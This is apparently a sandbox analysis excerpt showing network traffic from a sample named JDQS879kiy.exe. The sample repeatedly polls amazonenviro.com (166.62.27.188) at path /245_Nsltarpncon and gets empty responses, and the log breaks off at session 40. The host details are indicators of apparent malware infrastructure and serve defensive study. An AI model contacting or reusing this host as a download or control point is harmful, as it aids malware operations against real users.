Jan 14, 2025 08:24:17.631828070 CET	1.1.1.1	192.168.2.7	0x92ac	No error (0)	amazonenviro.com		166.62.27.188	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

amazonenviro.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49736	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:19 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:19 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:19 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49753	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:20 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:21 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:20 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49765	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:22 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:22 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:22 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49777	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:23 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:24 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:24 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49789	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:25 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:26 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:25 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49801	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:27 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:27 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:27 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49813	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:28 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:29 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:29 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49825	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:30 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:31 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:30 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49840	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:32 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:32 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:32 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49853	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:33 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:34 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:34 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49864	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:35 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:35 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:35 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49874	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:36 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:37 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:37 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49885	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:38 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:39 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:38 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49897	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:40 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:40 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:40 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49909	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:41 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:42 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:42 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49921	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:43 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:44 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:43 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49933	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:45 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:46 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:46 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49945	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:47 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:47 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:47 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49957	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:48 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:49 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:49 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49969	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:50 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:51 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:51 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	49981	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:52 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:52 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:52 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	49994	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:53 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:54 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:54 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	50005	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:55 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:56 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:56 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	50017	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:57 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:57 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:57 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	50022	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:58 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:59 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:59 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	50024	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:00 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:01 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:00 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	50026	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:02 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:02 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:02 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	50028	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:03 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:04 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:04 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	50030	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:05 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:06 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:05 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	50032	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:07 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:07 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:07 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	50034	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:08 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:09 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:09 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	50037	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:10 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:10 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:10 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	50039	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:11 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:12 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:12 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	50041	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:13 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:14 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:13 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	50043	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:15 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:15 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:15 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	50045	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:16 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:17 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:17 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	50047	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:18 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:18 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:18 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	50049	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:20 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:20 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:20 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	50051	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:21 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:22 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:22 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	50053	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:25:23 UTC	165	OUT	GET /245_Nsltarpncon HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:25:23 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:25:23 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	50055	166.62.27.188	443	7852	C:\Users\user\Desktop\JDQS879kiy.exe

Timestamp	Bytes transferred	Direction	Data
